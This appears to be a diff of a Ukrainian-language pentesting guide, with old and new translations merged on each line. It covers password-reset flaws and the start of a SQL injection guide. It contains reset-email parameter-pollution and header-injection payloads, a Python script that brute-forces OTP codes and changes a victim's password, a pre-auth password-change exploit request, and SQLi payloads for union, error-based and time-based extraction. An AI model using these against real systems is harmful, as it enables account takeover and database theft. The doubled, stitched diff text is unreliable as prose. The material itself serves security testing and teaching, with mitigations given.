Зловмисники можуть маніпулювати запитом на скидання пароля, додаючи додаткові параметри електронної пошти, щоб відвести посилання для скидання. Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Додайте електронну пошту зловмисника як другий параметр, використовуючи & - Додати attacker email як другий параметр, використовуючи &
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com&email=attacker@email.com email=victim@email.com&email=attacker@email.com
``` ```
- Додайте електронну пошту атакуючого як другий параметр, використовуючи %20 - Додайте електронну адресу атакуючого як другий параметр, використовуючи %20
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com%20email=attacker@email.com email=victim@email.com%20email=attacker@email.com
``` ```
- Додайте електронну пошту атакуючого як другий параметр, використовуючи | - Додайте електронну адресу атакуючого як другий параметр, використовуючи |
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com|email=attacker@email.com email=victim@email.com|email=attacker@email.com
``` ```
- Додайте електронну пошту атакуючого як другий параметр, використовуючи cc - Додати електронну адресу attacker як другий параметр, використовуючи cc
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld" email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
``` ```
- Додайте електронну пошту атакуючого як другий параметр, використовуючи bcc - Додати attacker email як другий параметр, використовуючи bcc
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
``` ```
- Додайте електронну пошту атакуючого як другий параметр, використовуючи , - Додайте attacker email як другий параметр, використовуючи ,
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld",email="attacker@mail.tld" email="victim@mail.tld",email="attacker@mail.tld"
``` ```
- Додайте електронну пошту атакуючого як другий параметр у масиві json - Додати attacker email як другий параметр у json array
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
{"email":["victim@mail.tld","atracker@mail.tld"]} {"email":["victim@mail.tld","atracker@mail.tld"]}
``` ```
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Правильно аналізуйте та перевіряйте параметри електронної пошти на стороні сервера. - Правильно розбирайте та перевіряйте параметри електронної пошти на стороні сервера.
- Використовуйте підготовлені запити або параметризовані запити для запобігання атакам ін'єкцій. - Використовуйте prepared statements або parameterized queries, щоб запобігти injection attacks.
- **Посилання**: - **Посилання**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Зміна електронної пошти та пароля будь-якого користувача через параметри API** ## **Зміна email та пароля будь-якого користувача через параметри API**
- Зловмисники можуть змінювати параметри електронної пошти та пароля в запитах API, щоб змінити облікові дані акаунта. - Зловмисники можуть змінювати параметри електронної пошти та пароля в API-запитах, щоб змінити облікові дані облікового запису.
```php ```php
POST /api/changepass POST /api/changepass
[...] [...]
("form": {"email":"victim@email.tld","password":"12345678"}) ("form": {"email":"victim@email.tld","password":"12345678"})
``` ```
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Забезпечте сувору перевірку параметрів та аутентифікаційні перевірки. - Забезпечте сувору валідацію параметрів та перевірки автентифікації.
- Реалізуйте надійне ведення журналу та моніторинг для виявлення та реагування на підозрілі дії. - Реалізуйте надійне логування та моніторинг для виявлення й реагування на підозрілі дії.
- **Посилання**: - **Посилання**:
- [Повне захоплення облікового запису через маніпуляцію параметрами API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Відсутність обмеження швидкості: Email бомбардування** ## **No Rate Limiting: Email Bombing**
- Відсутність обмеження швидкості на запити скидання пароля може призвести до бомбардування електронною поштою, перевантажуючи користувача електронними листами для скидання. - Відсутність rate limiting на запитах скидання пароля може призвести до email bombing, що перевантажить користувача листами для скидання пароля.
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Реалізуйте обмеження швидкості на основі IP-адреси або облікового запису користувача. - Реалізуйте rate limiting на основі IP-адреси або облікового запису користувача.
- Використовуйте CAPTCHA для запобігання автоматизованому зловживанню. - Використовуйте CAPTCHA, щоб запобігти автоматизованому зловживанню.
- **Посилання**: - **Посилання**:
- [Звіт HackerOne 280534](https://hackerone.com/reports/280534) - [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Дізнайтеся, як генерується токен скидання пароля** ## **Дізнатися, як генерується токен для скидання пароля**
- Розуміння шаблону або методу генерації токенів може призвести до прогнозування або брутфорсингу токенів. Деякі варіанти: - Розуміння патерну або методу генерації токена може дозволити передбачати або brute-forcing токени. Деякі варіанти:
- На основі часу - На основі мітки часу
- На основі UserID - На основі UserID
- На основі електронної пошти користувача - На основі email користувача
- На основі імені та прізвища - На основі імені та прізвища
- На основі дати народження - На основі дати народження
- На основі криптографії - На основі криптографії
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Використовуйте надійні, криптографічні методи для генерації токенів. - Використовуйте сильні криптографічні методи для генерації токенів.
- Забезпечте достатню випадковість і довжину, щоб запобігти передбачуваності. - Забезпечте достатню випадковість та довжину, щоб запобігти передбачуваності.
- **Інструменти**: Використовуйте Burp Sequencer для аналізу випадковості токенів. - **Інструменти**: Використовуйте Burp Sequencer для аналізу випадковості токенів.
## **Легко вгадуваний UUID** ## **Передбачуваний UUID**
- Якщо UUIDs (версія 1) вгадувані або передбачувані, зловмисники можуть brute-force їх, щоб згенерувати дійсні токени скидання. Перевірте:
- Якщо UUID (версія 1) можна вгадати або передбачити, зловмисники можуть брутфорсити їх для генерації дійсних токенів скидання. Перевірте:
{{#ref}} {{#ref}}
uuid-insecurities.md uuid-insecurities.md
{{#endref}} {{#endref}}
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Використовуйте GUID версії 4 для випадковості або реалізуйте додаткові заходи безпеки для інших версій. - Використовуйте GUID версії 4 для випадковості або впровадьте додаткові заходи безпеки для інших версій.
- **Інструменти**: Використовуйте [guidtool](https://github.com/intruder-io/guidtool) для аналізу та генерації GUID. - **Інструменти**: Використовуйте [guidtool](https://github.com/intruder-io/guidtool) для аналізу та генерації GUID.
## **Маніпуляція відповіддю: Замініть погану відповідь на хорошу** ## **Маніпуляція відповіді: заміна помилкової відповіді на коректну**
- Маніпулювання HTTP-відповідями для обходу повідомлень про помилки або обмежень. - Маніпуляція HTTP-відповідями для обходу повідомлень про помилку або обмежень.
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Реалізуйте перевірки на стороні сервера, щоб забезпечити цілісність відповіді. - Реалізуйте серверні перевірки, щоб забезпечити цілісність відповідей.
- Використовуйте безпечні канали зв'язку, такі як HTTPS, щоб запобігти атакам "людина посередині". - Використовуйте захищені канали зв'язку, такі як HTTPS, щоб запобігти man-in-the-middle атакам.
- **Посилання**: - **Посилання**:
- [Критична помилка на живому заході з винагородами за помилки](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Використання простроченого токена** ## **Використання простроченого токена**
- Тестування, чи можна ще використовувати прострочені токени для скидання пароля. - Перевірка, чи можна все ще використовувати прострочені токени для скидання пароля.
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Реалізуйте суворі політики закінчення терміну дії токенів і перевіряйте термін дії токена на стороні сервера. - Впровадьте суворі політики терміну дії токенів і перевіряйте їх прострочення на стороні сервера.
## **Брутфорс токена скидання пароля** ## **Brute Force Password Reset Token**
- Спроба брутфорсити токен скидання, використовуючи інструменти, такі як Burpsuite та IP-Rotator, щоб обійти обмеження швидкості на основі IP. - Спроба brute-force токена скидання за допомогою інструментів на кшталт Burpsuite та IP-Rotator для обходу обмежень за IP.
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Реалізуйте надійне обмеження швидкості та механізми блокування облікових записів. - Впровадьте надійні механізми rate-limiting і блокування облікового запису.
- Моніторинг підозрілих дій, що вказують на атаки брутфорс. - Моніторьте підозрілі дії, які вказують на brute-force атаки.
## **Спробуйте використати свій токен** ## **Спроба використати свій токен**
- Тестування, чи можна використовувати токен скидання зловмисника разом з електронною поштою жертви. - Перевірка, чи може reset token зловмисника бути використаний разом з email жертви.
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Забезпечте, щоб токени були прив'язані до сеансу користувача або інших специфічних атрибутів користувача. - Переконайтеся, що токени прив'язані до сесії користувача або інших атрибутів, специфічних для користувача.
## **Недійсність сеансу при виході/скиданні пароля** ## **Інвалідація сесії при виході/скиданні пароля**
- Забезпечення недійсності сеансів, коли користувач виходить або скидає свій пароль. - Забезпечення інвалідації сесій, коли користувач виходить або скидає пароль.
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Реалізуйте належне управління сеансами, забезпечуючи недійсність усіх сеансів при виході або скиданні пароля. - Реалізуйте правильне управління сесіями, забезпечуючи інвалідацію всіх сесій при виході або скиданні пароля.
## **Недійсність сеансу при виході/скиданні пароля** ## **Інвалідація сесії при виході/скиданні пароля**
- Токени скидання повинні мати час закінчення, після якого вони стають недійсними. - Reset tokens повинні мати час життя, після якого вони стають недійсними.
- **Кроки пом'якшення**: - **Заходи пом'якшення**:
- Встановіть розумний час закінчення для токенів скидання та суворо дотримуйтеся цього на стороні сервера. - Встановіть розумний час життя для reset token і суворо примусово перевіряйте його на боці сервера.
## **Обхід обмеження швидкості OTP, змінюючи свій сеанс** ## **Обхід ліміту OTP шляхом зміни сесії**
- Якщо веб-сайт використовує сеанс користувача для відстеження неправильних спроб OTP, і OTP був слабким (<= 4 цифри), то ми можемо ефективно брутфорсити OTP. - Якщо сайт використовує сесію користувача для відстеження невірних спроб OTP і OTP був слабким (<= 4 цифри), то ми можемо ефективно brute-force OTP.
- **експлуатація**: - **Експлуатація**:
- просто запитайте новий токен сеансу після блокування сервером. - просто запросіть новий токен сесії після блокування сервером.
- **Приклад** коду, який експлуатує цю помилку, випадково вгадуючи OTP (коли ви змінюєте сеанс, OTP також зміниться, і тому ми не зможемо послідовно брутфорсити його!): - **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
``` python ``` python
# Обхід аутентифікації через скидання пароля # Authentication bypass by password reset
# від coderMohammed # by coderMohammed
import requests import requests
import random import random
from time import sleep from time import sleep
@ -192,46 +193,83 @@ parms = dict()
ter = 0 ter = 0
phpsessid = "" phpsessid = ""
print("[+] Початок атаки!") print("[+] Starting attack!")
sleep(3) sleep(3)
print("[+] Це може зайняти близько 5 хвилин!") print("[+] This might take around 5 minutes to finish!")
try: try:
while True: while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # випадкове число від 0 до 9999 з 4 цифрами parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # не важливо, це лише впливає на фронтенд parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # слідкуйте за кількістю спроб if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # виходить out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # отримує ще один phpssid (токен) mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # витягує sessionid cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID') phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # оновлює заголовки з новим сеансом headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # надсилає електронну пошту для зміни пароля reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # скидає ter, щоб отримати новий сеанс після 8 спроб ter = 0 # reset ter so we get a new session after 8 trails
else: else:
ter += 1 ter += 1
if(len(res.text) == 2292): # це довжина сторінки, коли ви правильно отримали код відновлення (отримано тестуванням) if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # для інформації про налагодження print(len(res.text)) # for debug info
print(phpsessid) print(phpsessid)
reset_data = { # тут ми змінимо пароль на щось нове reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!", "new_password": "D37djkamd!",
"confirm_password": "D37djkamd!" "confirm_password": "D37djkamd!"
} }
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Пароль було змінено на:D37djkamd!") print("[+] Password has been changed to:D37djkamd!")
break break
except Exception as e: except Exception as e:
print("[+] Атака зупинена") print("[+] Attck stopped")
``` ```
## Посилання ## Довільне скидання пароля через skipOldPwdCheck (pre-auth)
Деякі реалізації відкривають дію зміни пароля, яка викликає routine зміни пароля з skipOldPwdCheck=true і не перевіряє жодного reset token або права власності. Якщо endpoint приймає параметр action, наприклад change_password, та username/new password в тілі запиту, зловмисник може скинути довільні облікові записи pre-auth.
Вразливий патерн (PHP):
```php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
Запит на експлуатацію (концепція):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
Заходи пом'якшення:
- Завжди вимагайте дійсний, time-bound reset token, прив'язаний до account і session перед зміною пароля.
- Ніколи не відкривайте доступ до шляхів skipOldPwdCheck неавторизованим користувачам; вимагайте автентифікацію для звичайної зміни пароля та перевіряйте старий пароль.
- Скасуйте всі активні sessions та reset tokens після зміни пароля.
## Джерела
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Що таке SQL-ін'єкція? ## Що таке SQL injection?
**SQL-ін'єкція** — це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** програми. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ програма. Такі дії можуть призвести до постійних змін у функціональності або змісті програми, або навіть до компрометації сервера чи відмови в обслуговуванні. An **SQL injection** — це вразливість, яка дозволяє зловмисникам **втручатися в запити до бази даних** застосунку. Ця вразливість може дозволити зловмисникам **переглядати**, **змінювати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких має доступ застосунок. Такі дії можуть призвести до постійних змін у функціональності або вмісті застосунку, або навіть до компрометації сервера чи denial of service.
## Виявлення точок входу ## Виявлення точки входу
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на запити, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит без його порушення**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів: Коли сайт здається **вразливим до SQL injection (SQLi)** через незвичні відповіді сервера на введення, пов'язані з SQLi, **перший крок** — зрозуміти, як **впровадити дані в запит, не порушивши його**. Для цього потрібно визначити спосіб **вийти з поточного контексту** ефективно. Ось кілька корисних прикладів:
``` ```
[Nothing] [Nothing]
' '
@ -21,9 +21,9 @@
")) "))
`)) `))
``` ```
Тоді вам потрібно знати, як **виправити запит, щоб не було помилок**. Щоб виправити запит, ви можете **ввести** дані, щоб **попередній запит прийняв нові дані**, або ви можете просто **ввести** свої дані та **додати символ коментаря в кінці**. Тоді вам потрібно знати, як **виправити запит, щоб не було помилок**. Щоб виправити запит, ви можете **ввести** дані так, щоб **попередній запит прийняв нові дані**, або ви можете просто **ввести** свої дані та **додати символ коментаря в кінці**.
_Зверніть увагу, що якщо ви можете бачити повідомлення про помилки або помітити відмінності, коли запит працює, а коли ні, цей етап буде легшим._ _Зверніть увагу, що якщо ви бачите повідомлення про помилки або можете помітити відмінності, коли запит працює і коли ні, ця фаза буде легшою._
### **Коментарі** ### **Коментарі**
```sql ```sql
@ -51,20 +51,20 @@ SQLite
HQL HQL
HQL does not support comments HQL does not support comments
``` ```
### Підтвердження за допомогою логічних операцій ### Підтвердження логічними операціями
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає ідентичний контент при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій. Надійний метод підтвердження вразливості SQL injection полягає у виконанні **логічної операції** та спостереженні очікуваних результатів. Наприклад, GET parameter такий як `?username=Peter`, який повертає ідентичний вміст при зміні на `?username=Peter' or '1'='1`, свідчить про вразливість SQL injection.
Аналогічно, застосування **математичних операцій** є ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію. Аналогічно, застосування **математичних операцій** також є ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` і `?id=2-1` дає той самий результат, це вказує на SQL injection.
Приклади, що демонструють підтвердження логічної операції: Приклади, що демонструють підтвердження логічними операціями:
``` ```
page.asp?id=1 or 1=1 -- results in true page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false page.asp?id=1 and 1=2 -- results in false
``` ```
Цей список слів був створений, щоб спробувати **підтвердити SQLinjections** у запропонований спосіб: Цей список слів був створений, щоб спробувати **підтвердити SQLinjections** запропонованим способом:
<details> <details>
<summary>Справжній SQLi</summary> <summary>Справжній SQLi</summary>
@ -154,10 +154,10 @@ true
``` ```
</details> </details>
### Підтвердження за допомогою часу ### Підтвердження за часом
В деяких випадках ви **не помітите жодних змін** на сторінці, яку тестуєте. Тому хороший спосіб **виявити сліпі SQL-ін'єкції** - це змусити БД виконувати дії, які матимуть **вплив на час**, необхідний для завантаження сторінки.\ У деяких випадках ви **не помітите жодних змін** на сторінці, яку тестуєте. Тому хорошим способом **discover blind SQL injections** є змусити DB виконати дії, які матимуть **вплив на час** завантаження сторінки.\
Отже, ми будемо конкатенувати в SQL-запиті операцію, яка займе багато часу для виконання: Тому ми збираємося concat у SQL-запиті операцію, яка займе багато часу на виконання:
``` ```
MySQL (string concat and logical ops) MySQL (string concat and logical ops)
1' + sleep(10) 1' + sleep(10)
@ -179,11 +179,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
``` ```
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, який **виконає складні операції**, що займе кілька секунд. риклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_. У деяких випадках **sleep functions won't be allowed**. Тоді, замість використання цих функцій ви можете змусити запит **perform complex operations**, які триватимуть кілька секунд. _Examples of these techniques are going to be commented separately on each technology (if any)_.
### Визначення бекенду ### Ідентифікація Back-end
Найкращий спосіб визначити бекенд - це спробувати виконати функції різних бекендів. Ви можете використовувати _**sleep**_ **функції** з попереднього розділу або ці (таблиця з [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification): Найкращий спосіб ідентифікувати back-end — спробувати виконати функції різних back-end'ів. Ви можете використовувати _**sleep**_ **functions** попереднього розділу або ці (таблиця з [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash ```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"],
@ -211,29 +211,29 @@ SQLite
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
``` ```
Також, якщо у вас є доступ до виходу запиту, ви можете **вивести версію бази даних**. Також, якщо ви маєте доступ до виводу запиту, ви можете змусити його **вивести версію бази даних**.
> [!TIP] > [!TIP]
> У продовженні ми будемо обговорювати різні методи експлуатації різних видів SQL Injection. Ми будемо використовувати MySQL як приклад. > У продовженні ми обговоримо різні методи експлуатації різних типів SQL Injection. Ми використовуватимемо MySQL як приклад.
### Ідентифікація з PortSwigger ### Identifying with PortSwigger
{{#ref}} {{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}} {{#endref}}
## Експлуатація на основі Union ## Exploiting Union Based
### Визначення кількості стовпців ### Detecting number of columns
Якщо ви можете бачити вихід запиту, це найкращий спосіб його експлуатувати.\ Якщо ви можете бачити вивід запиту, це найкращий спосіб його експлуатації.\
По-перше, нам потрібно дізнатися **кількість** **стовпців**, які **початковий запит** повертає. Це тому, що **обидва запити повинні повертати однакову кількість стовпців**.\ Перш за все, нам потрібно з'ясувати **кількість** **стовпців**, які повертає **початковий запит**. Це тому, що **обидва запити повинні повертати однакову кількість стовпців**.\
Зазвичай для цієї мети використовуються два методи: Зазвичай для цього використовуються два методи:
#### Order/Group by #### Order/Group by
Щоб визначити кількість стовпців у запиті, поступово змінюйте число, використане в **ORDER BY** або **GROUP BY** клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функціональні можливості **GROUP BY** та **ORDER BY** в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту. Щоб визначити кількість стовпців у запиті, поступово збільшуйте число, що використовується в клаузах **ORDER BY** або **GROUP BY**, поки не отримаєте помилкову відповідь. Незважаючи на різні функції **GROUP BY** та **ORDER BY** в SQL, обидві можуть використовуватися ідентично для встановлення кількості стовпців у запиті.
```sql ```sql
1' ORDER BY 1--+ #True 1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True 1' ORDER BY 2--+ #True
@ -251,17 +251,17 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
``` ```
#### UNION SELECT #### UNION SELECT
Виберіть все більше і більше значень null, поки запит не буде правильним: Підставляйте дедалі більше null значень, поки запит не стане коректним:
```sql ```sql
1' UNION SELECT null-- - Not working 1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked 1' UNION SELECT null,null,null-- - Worked
``` ```
_Вам слід використовувати значення `null`, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є дійсним у кожному випадку._ _Ви повинні використовувати значення `null`, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, а `null` є допустимим у будь-якому випадку._
### Витягування імен бази даних, імен таблиць та імен стовпців ### Отримання імен баз даних, імен таблиць та імен стовпців
У наступних прикладах ми будемо отримувати назву всіх баз даних, назву таблиці бази даних, імена стовпців таблиці: У наступних прикладах ми отримаємо назви всіх баз даних, ім'я таблиці певної бази даних та імена стовпців цієї таблиці:
```sql ```sql
#Database names #Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -272,67 +272,67 @@ _Вам слід використовувати значення `null`, оск
#Column names #Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
``` ```
_Існує різний спосіб виявлення цих даних у кожній різній базі даних, але методологія завжди однакова._ _Існує різний спосіб виявлення цих даних для кожної бази даних, але методологія завжди одна й та сама._
## Використання прихованого на основі об'єднання ## Exploiting Hidden Union Based
Коли вихід запиту видимий, але ін'єкція на основі об'єднання здається недосяжною, це свідчить про наявність **прихованої ін'єкції на основі об'єднання**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на ін'єкцію на основі об'єднання, потрібно визначити запит виконання на бекенді. Коли результат запиту видно, але union-based injection здається недосяжним, це вказує на наявність **hidden union-based injection**. Така ситуація часто призводить до blind injection. Щоб перетворити blind injection на union-based, потрібно визначити виконуваний запит на стороні сервера.
Це можна зробити за допомогою технік сліпої ін'єкції разом із стандартними таблицями, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих стандартних таблиць рекомендується звернутися до документації цільового DBMS. Цього можна досягти, використовуючи техніки blind injection разом зі стандартними таблицями, специфічними для цільової системи управління базами даних (DBMS). Для розуміння цих стандартних таблиць рекомендовано звернутися до документації цільової DBMS.
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається запит на об'єднання, що полегшує експлуатацію нової доступної ін'єкції на основі об'єднання. Після того, як запит витягнуто, необхідно налаштувати ваш payload так, щоб безпечно закрити оригінальний запит. Після цього до payload додається union query, що дозволяє скористатися новоотриманою union-based injection.
Для більш детальної інформації зверніться до повної статті, доступної за посиланням [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). Для детальнішої інформації зверніться до повної статті за адресою [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Використання на основі помилок ## Exploiting Error based
Якщо з якоїсь причини ви **не можете** бачити **вихід** **запиту**, але можете **бачити повідомлення про помилки**, ви можете використовувати ці повідомлення про помилки для **екстракції** даних з бази даних.\ Якщо з якоїсь причини ви **не можете** побачити **вивід** **запиту**, але можете **побачити повідомлення про помилки**, ви можете використати ці повідомлення, щоб **ex-filtrate** дані з бази даних.\
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете змогти скинути базу даних. Дотримуючись схожого порядку дій, як у Union Based exploitation, ви зможете dump the DB.
```sql ```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
``` ```
## Використання сліпого SQLi ## Експлуатація Blind SQLi
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинний** або **хибний** відповідь, оскільки на сторінці є різний вміст.\ У цьому випадку ви не бачите результатів запиту або помилок, але можете **визначити**, коли запит **повертає** відповідь **true** або **false**, оскільки на сторінці відображається різний вміст.\
